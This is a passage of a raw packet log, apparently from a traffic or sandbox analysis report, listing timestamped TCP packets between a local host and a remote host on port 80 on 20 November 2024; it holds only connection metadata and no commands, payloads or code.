                                                                                                                                                              Nov 20, 2024 11:21:45.496620893 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.496637106 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496646881 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496654987 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496665955 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496674061 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.496704102 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.496718884 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496730089 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496737957 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496747971 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496756077 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.496758938 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496769905 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496778011 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496788025 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496790886 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.496797085 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496808052 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496818066 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496819973 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.496828079 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496834040 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.496840000 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496850967 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496860027 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496867895 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.496867895 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.496871948 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.496901989 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.496934891 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.499382019 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.499500036 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.503182888 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.503195047 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.503252983 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.503304958 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.503320932 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.503350973 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.503400087 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.503544092 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.503554106 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.503598928 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.503751993 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.503762007 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.503771067 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.503781080 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.503932953 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.503943920 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.503958941 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.503968000 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.503978014 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.504045963 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.504045963 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.504045963 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.504146099 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.504157066 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.504165888 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.504175901 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.504184008 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.504192114 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.504350901 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.504350901 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.504506111 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.504517078 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.504524946 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.504534006 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.504558086 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.504576921 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.504587889 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.504597902 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.504606009 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.504614115 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.504623890 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.504622936 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.504622936 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.504633904 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.504650116 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.504667044 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.504705906 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.507077932 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.507088900 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.507097006 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.507101059 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.507111073 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.507119894 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.507128000 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.507137060 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.507155895 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.507155895 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.507283926 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.508816004 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.508826971 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.508836031 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.508846998 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.508855104 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.508863926 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.508872032 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.508881092 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.508888960 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.508898020 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.508915901 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.509124041 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.509124041 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.509471893 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.509480953 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.509490967 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.509500027 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.509507895 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.509516954 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.509532928 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.509541035 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.509551048 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.509560108 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.509571075 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.509582043 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.509589911 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.509601116 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.509610891 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.509622097 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.509630919 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.509633064 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.509633064 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.509640932 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.509650946 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.509660959 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.509669065 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.509677887 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.509687901 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.509696960 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.509706974 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.509716034 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.509726048 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.509727001 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.509737015 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.509747028 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.509839058 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.509839058 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.510607004 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.510704041 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.514170885 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.514180899 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.514189959 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.514220953 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.514230967 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.514240026 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.514250040 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.514260054 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.514261007 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.514261007 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.514270067 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.514280081 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.514288902 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.514297962 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.514307022 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.514316082 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.514322996 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.514338017 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.514347076 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.514348984 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.514355898 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.514364958 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.514374018 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.514383078 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.514390945 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.514400959 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.514410019 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.514421940 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.514429092 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.514437914 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.514447927 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.514456987 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.514465094 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.514472008 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.514473915 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.514472008 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.514484882 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.514494896 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.514503002 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.514512062 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.514513016 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.514520884 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.514530897 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.514837980 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.514837980 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.515507936 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.515517950 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.515526056 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.515536070 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.515544891 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.515552998 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.515573025 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.515582085 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.515590906 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.515599966 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.515608072 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.515616894 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.515625954 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.515662909 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.515662909 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.515691996 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.515691996 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.515882015 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.515893936 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.515902042 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.515909910 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.515934944 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.516001940 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.516164064 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.516174078 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.516182899 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.516205072 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.516213894 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.516222000 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.516231060 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.516238928 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.516247988 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.516257048 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.516268969 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.516278982 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.516288042 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.516290903 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.516290903 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.516290903 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.516295910 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.516305923 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.516314983 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.516324043 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.516335011 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.516344070 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.516351938 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.516361952 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.516366959 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.516371012 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.516381025 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.516390085 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.516398907 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.516407967 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.516416073 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.516427994 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.516438961 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.516448021 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.516457081 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.516462088 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.516508102 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.520539045 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.520550966 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.520651102 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.520659924 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.520927906 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.520936012 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.521215916 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.521225929 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.521266937 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.521276951 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.521281004 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.521281004 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.521285057 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.521302938 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.521315098 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.521322012 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.521334887 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.521346092 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.521354914 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.521363974 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.521372080 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.521380901 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.521389008 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.521399021 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.521413088 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.521420956 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.521423101 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.521420956 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.521420956 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.521433115 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.521444082 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.521461010 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.521470070 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.521478891 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.521488905 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.521497011 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.521505117 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.521514893 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.521523952 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.521523952 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.521533966 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.521543980 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.521552086 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.521559954 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.521574974 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.521583080 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.521590948 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.521600962 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.521608114 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.521617889 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.521626949 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.521636009 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.521639109 CET4979980192.168.2.8150.241.91.218
                                                                                                                                                              Nov 20, 2024 11:21:45.521648884 CET8049799150.241.91.218192.168.2.8
                                                                                                                                                              Nov 20, 2024 11:21:45.521672010 CET8049799150.241.91.218192.168.2.8
